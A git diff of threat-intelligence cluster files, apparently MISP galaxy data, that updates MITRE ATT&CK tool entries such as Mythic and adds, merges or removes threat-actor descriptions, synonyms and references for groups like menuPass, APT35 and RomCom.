"estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a009cb25-4801-4116-9105-80a91cf15c1b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d273434a-448e-4598-8e14-607f4a0d5e27", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e24fcba8-2557-4442-a139-1ee2f2e784db", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e3b168bd-fcd7-439e-9382-2e6c2f63514d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ebb42bbe-62d7-47d7-a55f-3b08b61d792d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "2c5281dd-b5fd-4531-8aea-c1bf8a0f8756", - "value": "AADInternals - S0677" - }, - { - "description": "[Mythic](https://attack.mitre.org/software/S0699) is an open source, cross-platform post-exploitation/command and control platform. [Mythic](https://attack.mitre.org/software/S0699) is designed to \"plug-n-play\" with various agents and communication channels.(Citation: Mythic Github)(Citation: Mythic SpecterOps)(Citation: Mythc Documentation) Deployed [Mythic](https://attack.mitre.org/software/S0699) C2 servers have been observed as part of potentially malicious infrastructure.(Citation: RecordedFuture 2021 Ad Infra)", - "meta": { - "external_id": "S0699", - "mitre_platforms": [ - "Windows", - "Linux", - "macOS" - ], - "refs": [ - "https://attack.mitre.org/software/S0699", - "https://docs.mythic-c2.net/", - "https://github.com/its-a-feature/Mythic", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", - "https://posts.specterops.io/a-change-of-mythic-proportions-21debeb03617" - ], - "synonyms": [ - "Mythic" - ] - }, - "related": [ - { - "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ca9d3402-ada3-484d-876a-d717bd6e05f2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "d505fc8b-2e64-46eb-96d6-9ef7ffca5b66", - "value": "Mythic - S0699" } ], - "version": 25 + "version": 26 } diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index f8bcc41e..54dfbb74 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -100,6 +100,7 @@ "value": "Nitro" }, { + "description": "Threat actors behind the Operation Dust Storm have been active since at least 2010, the hackers targeted several organizations in Japan, South Korea, the US, Europe, and other Asian countries.", "meta": { "refs": [ "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", @@ -871,6 +872,7 @@ "value": "APT27" }, { + "description": "menuPass is a threat group that has been active since at least 2006. Individual members of menuPass are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.", "meta": { "attribution-confidence": "50", "cfr-suspected-state-sponsor": "China", @@ -921,7 +923,6 @@ "Menupass Team", "happyyongzi", "POTASSIUM", - "DustStorm", "Red Apollo", "CVNX", "HOGFISH", @@ -1644,7 +1645,6 @@ "Parastoo", "iKittens", "Group 83", - "Newsbeef", "NewsBeef", "G0058" ] @@ -3399,7 +3399,8 @@ "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", "https://attack.mitre.org/groups/G0037/", "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", - "http://www.secureworks.com/research/threat-profiles/gold-franklin" + "http://www.secureworks.com/research/threat-profiles/gold-franklin", + "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/" ], "synonyms": [ "SKELETON SPIDER", @@ -3418,6 +3419,13 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "1cdbbcab-903a-414d-8eb0-439a97343737", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "647894f6-1723-4cba-aba4-0ef0966d5302", @@ -5588,13 +5596,15 @@ "https://www.cfr.org/interactive/cyber-operations/magic-hound", "https://unit42.paloaltonetworks.com/unit42-magic-hound-campaign-attacks-saudi-targets/", "https://securityaffairs.co/wordpress/56348/intelligence/magic-hound-campaign.html", - "https://www.cfr.org/cyber-operations/apt-35" + "https://www.cfr.org/cyber-operations/apt-35", + "https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/", + "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/" ], "synonyms": [ - "APT 35", "Newscaster Team", "Magic Hound", - "G0059" + "G0059", + "Phosphorus" ] }, "related": [ @@ -5810,16 +5820,6 @@ "uuid": "a3cc5105-3bc6-498b-8d53-981e12d86909", "value": "The Big Bang" }, - { - "description": "In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at a government organization. While tracking the activities of this campaign, we identified a repository of additional malware, including a web server that was used to host the payloads used for both this attack as well as others.", - "meta": { - "refs": [ - "https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/" - ] - }, - "uuid": "a7bc4ef2-971a-11e8-9bf0-13aa7d6d8651", - "value": "Subaat" - }, { "description": "Unit 42 researchers have been tracking Subaat, an attacker, since 2017. Recently Subaat drew our attention due to renewed targeted attack activity. Part of monitoring Subaat included realizing the actor was possibly part of a larger crew of individuals responsible for carrying out targeted attacks against worldwide governmental organizations. Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec, in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking, which we are calling Gorgon Group.", "meta": { @@ -6210,20 +6210,6 @@ "uuid": "bea5e256-bcc0-11e8-a478-bbf7e7585a1e", "value": "Unnamed Actor" }, - { - "description": "”A threat group associated with the Iranian government. The threat group created lookalike domains to phish targets and used credentials to steal intellectual property from specific resources, including library systems.”", - "meta": { - "refs": [ - "https://www.bleepingcomputer.com/news/security/iranian-hackers-charged-in-march-are-still-actively-phishing-universities/", - "https://www.cyberscoop.com/cobalt-dickens-iran-mabna-institiute-dell-secureworks/" - ], - "synonyms": [ - "Cobalt Dickens" - ] - }, - "uuid": "6c79bd1a-bfde-11e8-8c33-db4d9968671a", - "value": "COBALT DICKENS" - }, { "description": "Digital threat management company RiskIQ tracks the activity of MageCart group and reported their use of web-based card skimmers since 2016.", "meta": { @@ -6711,16 +6697,6 @@ "uuid": "6e899dd4-f95e-42a0-a5a3-e57249f017cf", "value": "Flash Kitten" }, - { - "description": "According to CrowdStrike, this actor is using FrameworkPOS, potentially buying access through Dridex infections.", - "meta": { - "refs": [ - "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/" - ] - }, - "uuid": "998b0a78-ff3e-4928-802f-b42e3f5cf491", - "value": "SKELETON SPIDER" - }, { "description": "According to CrowdStrike, this actor is using TinyLoader and TinyPOS, potentially buying access through Dridex infections.", "meta": { @@ -9885,6 +9861,17 @@ "uuid": "6a83b2bf-0c51-4c9b-89b0-35df7cab1dd5", "value": "APT-Q-12" }, + { + "description": "RomCom", + "meta": { + "refs": [ + "https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass", + "https://blogs.blackberry.com/en/2022/10/unattributed-romcom-threat-actor-spoofing-popular-apps-now-hits-ukrainian-militaries" + ] + }, + "uuid": "ba9e1ed2-e142-48d0-a593-f73ac6d59ccd", + "value": "RomCom" + }, { "description": "GOLD PRELUDE is a financially motivated cybercriminal threat group that operates the SocGholish (aka FAKEUPDATES) malware distribution network. GOLD PRELUDE operates a large global network of compromised websites, frequently running vulnerable content management systems (CMS), that redirect into a malicious traffic distribution system (TDS). The TDS, which researchers at Avast have named Parrot TDS, uses opaque criteria to select victims to serve a fake browser update page. These pages, which are customized to the specific visiting browser software, download the JavaScript-based SocGholish payload frequently embedded within a compressed archive.", "meta": { @@ -9909,5 +9896,5 @@ "value": "GOLD PRELUDE" } ], - "version": 250 + "version": 251 }